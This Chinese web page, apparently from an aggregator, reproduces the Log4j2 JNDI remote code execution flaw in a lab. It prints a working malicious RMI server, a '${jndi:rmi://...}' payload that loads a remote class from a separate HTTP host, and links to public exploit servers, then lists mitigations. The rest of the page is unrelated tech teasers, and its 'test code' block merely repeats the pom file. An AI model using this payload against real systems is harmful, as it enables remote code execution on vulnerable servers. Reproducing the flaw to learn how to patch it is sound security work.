范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

令无数程序员加班的Log4j2远程执行漏洞复现

  构建maven项目引入Log4j2编写 pom 文件<?xml version="1.0" encoding="UTF-8"?>      4.0.0       org.example     Log4j-rce     1.0-SNAPSHOT                                      org.apache.logging.log4j             log4j-core             2.13.3                                        org.apache.logging.log4j             log4j-api             2.13.3                                8         8        编写测试代码<?xml version="1.0" encoding="UTF-8"?>      4.0.0       org.example     Log4j-rce     1.0-SNAPSHOT                                      org.apache.logging.log4j             log4j-core             2.13.3                                        org.apache.logging.log4j             log4j-api             2.13.3                                8         8        下载 JNDI 测试服务器
  到 https://github.com/feihong-cs/JNDIExploit
  或者
  https://github.com/welk1n/JNDI-Injection-Exploit
  下载 JNDIExploit 测试服务器
  本次使用 JNDIExploit 举例
  下载完成后使用 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip
  启动服务器
  然后运行之前的Log4j2项目即可出现如图所示效果
  加载运行自己的 class 类编写 RMI服务器import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;   /**  * @author Pu Zhiwei  * create          2021-12-11 22:06  */ public class RMIServer {     public static void main(String[] args) {         System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");         System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");         try {             LocateRegistry.createRegistry(1099);             Registry registry = LocateRegistry.getRegistry();               System.out.println("Create RMI registry on port 1099!");             // 前两个参数为类名,第三个参数为远程类地址             Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/");             ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);             registry.bind("evil", referenceWrapper);         } catch (Exception e) {             e.printStackTrace();         }     } }
  编写测试类 public class Test {     static {         System.out.println("你好 Log4j2");     } }
  然后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,你可以直接使用python的http服务器 python -m http.server 8080
  修改 Log4j2 项目内容为 logger.error("${jndi:rmi://192.168.0.105:1099/evil}");
  运行项目即可看到 Test 类已被执行
  之后你就可以通过修改 Test 类实现更多操作。 如何防范
  升级 Log4j2 到最新版本
  使用最新版 JDK
  临时解决方案: 设置 jvm 参数 "-Dlog4j2.formatMsgNoLookups=true" 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true 设置系统环境变量:"LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS" 设置为 "true"

屏幕指纹技术究竟强在哪里?一起来看看vivo的探索之路智能手机的屏幕一直朝着大尺寸的方向发展,但过大的屏幕却造成无法单手使用的困境,而全面屏的出现可以在不改变手机原有尺寸的情况下通过提高屏占比,在屏幕视野变大的同时不影响握持手感。在冲一部iPhone用四年?盘点各大手机品牌的钉子户机型对于消费者来说,一部手机经久耐用,好几年都不卡当然是好事,但是对于品牌来说就不一定了,因为消费者换机周期太长肯定会对手机销量造成影响,这部分人通常自嘲为钉子户,任你出新机各种新功能单反的全景照片应该这么来拍虽然手机现在都带有拍摄全景照片的功能,但是手机拍摄的照片,不管是细节还是照片的层次感都比较差,对于风景照来说最重要的就是细节和画质,而单反拍摄的照片画质较好,但单反一般很少带有全景凤凰矿工开发者亲述已找到破解RTX3060命门众所周知,前天英伟达官方网站释放的470。05驱动实现了PCIE3。0X8显示器开机连接的情况下实现RTX3060全速挖矿,关于这个话题我们之前曾经发表过一个五问五答的头条五问五答ReflexvsRadeonboost低时延谁更强?以下内容部分源自油管博主Battle(non)sense的视频内容。众所周知,对于第一人称射击游戏来说,时延的高低往往决定了最终的游戏体验,肉眼看到敌人,反馈到脑部,然后控制手指肌无线游戏耳机盘点随着电子设备无线化浪潮的来袭,我们身边的线越来越少,日常生活中,随处可见的WiFi无线式接触设备等充斥了我们的生活,并且大家都习以为常。在外设领域,也有越来越多的产品搭载了无线技术机械键盘轴体怎么分类?当下轴体五花八门,各种轴体数不胜数,并且价格也不太统一,刚入门的小白在轴体选择上可能会被多得数不过来的信息弄得不知所措,而大家在看帖子的时候也要注意发帖时间,新旧贴不分开读,只会让机械键盘怎么样?常见的优缺点有哪些?说起机械键盘,想必大家都了解一二,由于其出色的手感和品质,备受年轻人追捧。机械键盘的市场越来越大,购买机械键盘的人也越来越多了,那么机械键盘常见的优缺点有哪些呢?今天我就位大家简单2021IEEE编程语言排行榜Python排名榜首IEEESpectrum的2021年编程语言排行榜出炉!其官方标题为Python在新技术领域依然为主导地位。01hr2021IEEE编程语言排行榜TOP10IEEESpectrum10月程序员平均工资出炉叮咚!10月份中国程序员薪资表来了!先从地域上来看,城市的平均工资排行,依然是北上深占据着前三位,其中北京以18094。3元的平均工资成为了众多准一线城市的天花板。1hr城市薪资1学Python还是学Java?7张漫画全解析运行速度Java是静态语言静态编译的,速度上要比Python快的很多。而Python动态类型语言,一边执行一边编译,速度要上慢一些。对Legacy代码的支持对于legacy代码的支
掌握核心技术,才有更多话语权vivo拿下了芯片主动权只有掌握核心技术,未来才能在市场中拥有更多话语权主动权,是所有科技型公司都要达到的目标,是选择等待,还是主动出击创造领先,各家有各家的打算,vivo作为一家历史悠久的手机厂家,近几外媒任正非这次真的怒了华为5G本该成为中国通信技术走向世界的一张名片,但由于老美的干预和施压,导致华为深耕多年且十拿九稳的欧洲市场出现了巨大的反转,尽管华为5G技术设备经过了德国最高安全机构的解刨级检测5G反击开启,不仅是华为,OPPO也加入了,开始整治专利流氓了解更多科技资讯尽在圈聊科技。今天跟大家聊一聊5G反击开启,不仅是华为,OPPO也加入其中,开始整治专利流氓!经过数十年的努力,华为终于研发出了先进的5G技术,一举打破了中国在通讯苹果收取高额苹果税,安卓竟也有安卓税?苹果的应用商店会对软件开发者收取30的高额苹果税,遭到了多方吐槽。那么安卓有没有安卓税呢?其实安卓也存在着这一现象,只不过是没有苹果嚣张。相比起苹果税,安卓税并不会对所有的软件消费适合女生用的几款手机,性能颜值均在线其实后台有不少小伙伴咨询问到怎么给女生选择产品,或者说给女生该选择哪些手机型号,所以今天就总结了几款比较适合女生使用的手机,既有性能又有颜值。第一款(vivox60pro)第1款产华为Mate50Pro渲染图首曝!外观别具一格,配置才是杀手锏由于众所周知的原因,华为Mate50系列可能要延期至明年发布,但用户对于该系列新机也是寄予了厚望,最大的一点就是希望能够支持5G网络。而近日有外媒制作了一组华为Mate50Pro的德媒先是智能手机,后是电动汽车,中国正在一步步征服欧洲?十年前,以TCL为代表的中国手机企业通过收购法国阿卡特手机业务进军欧洲市场,在TCL进驻欧洲市场之后,以华为中兴为代表的替补军随即冲入了欧洲市场。经过十年的韬光养晦,中国的手机品牌为什么头条解说富士相机的那么少?富士相机比较小众,但是存在即合理。富士的色彩调校真的好,色彩丰富油润,看着自然。特有的胶片模拟,是无法比拟的,也行会有人说了PS也可以调校,是的,但是有多少人能调出来?光是这一项能为什么都是全球第二大手机厂,华为跟小米交的税差那么多?文小伊评科技小米国内的税收不如华为是有很多因素共同造成的,这一点和手机份额没什么太大关系,华为营收更高。企业所得税的计算方式是以企业的利润总额为基础的然后乘上一个行业系数(不同行业华为mate10是款怎样的手机?我也用了四年了,电池还行,速度没问题,发愁的是它不坏也没法换机!捂脸捂脸捂脸17年出的旗舰款,到现在有四年多,很多人现在都在用,当时大多数都是64g内存手机,现在用的话除了内存不够可溶解智能手表问世外壳在水中40小时内溶解可溶解智能手表问世外壳在水中40小时内溶解黄显团队研发的可溶解智能手表受访者供图成果播报科技日报讯(记者陈曦通讯员赵晖)当世界钟表行业还在研究如何增强手表的防水性时,天津大学反其道